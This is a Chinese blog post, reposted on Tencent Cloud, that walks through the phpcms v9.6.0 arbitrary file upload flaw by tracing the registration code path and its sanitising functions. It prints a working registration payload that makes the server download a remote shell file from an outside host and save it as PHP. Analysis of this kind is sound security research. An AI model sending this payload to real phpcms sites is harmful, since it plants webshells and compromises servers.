前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >老洞新谈之phpcms v9.6.0任意文件上传漏洞

老洞新谈之phpcms v9.6.0任意文件上传漏洞

作者头像
鸿鹄实验室
发布2021-05-27 15:31:03
1.3K0
发布2021-05-27 15:31:03
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问

常见的payload如下:

代码语言:javascript
复制
index.php?m=member&c=index&a=register&siteid=1

post数据:
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1

对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:

经过new_html_special_chars函数的转换之后,new_html_special_chars函数位于phpcms/libs/functions/global.func.php中

代码语言:javascript
复制
function new_html_special_chars($string) {
  $encoding = 'utf-8';
  if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
  if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
  foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
  return $string;
}

然后来到$member_input->get,

其位于caches/caches_model/caches_data/member_input.class.php

然后数据进入到 trim_script中,

函数位于phpcms/libs/functions/global.func.php中

代码语言:javascript
复制
function trim_script($str) {
  if(is_array($str)){
    foreach ($str as $key => $val){
      $str[$key] = trim_script($val);
    }
   }else{
     $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
    $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
    $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
    $str = str_replace ( 'javascript:', 'javascript:', $str );
   }
  return $str;
}

继续往下跟,继续进入到一个安全过滤函数safe_replace之中:

代码语言:javascript
复制
function safe_replace($string) {
  $string = str_replace('%20','',$string);
  $string = str_replace('%27','',$string);
  $string = str_replace('%2527','',$string);
  $string = str_replace('*','',$string);
  $string = str_replace('"','&quot;',$string);
  $string = str_replace("'",'',$string);
  $string = str_replace('"','',$string);
  $string = str_replace(';','',$string);
  $string = str_replace('<','&lt;',$string);
  $string = str_replace('>','&gt;',$string);
  $string = str_replace("{",'',$string);
  $string = str_replace('}','',$string);
  $string = str_replace('\\','',$string);
  return $string;
}

然后走到:

而根据提示所致知我们需要进入到editor函数之中:

然后进入$this->attachment->download,

在下载之前会先被 new_stripslashes所过滤:

代码语言:javascript
复制
function new_stripslashes($string) {
  if(!is_array($string)) return stripslashes($string);
  foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
  return $string;
}

然后进入正则匹配:

匹配后会进行文件夹的设置等,最后进入 fillurl中:

最后的url变成了下面这样:

这也是为什么payload中要加.png和#的原因。下面继续走则会调用copy

而最后经过add实现文件写入:

然后回到注册函数中,会进行插入操作:

也就是向v9_member_detail的content和userid两列插入数据,而由因为表中没有content列,则会出现报错将shell的路径返回给我们。

参考文章:

https://paper.seebug.org/273/

https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档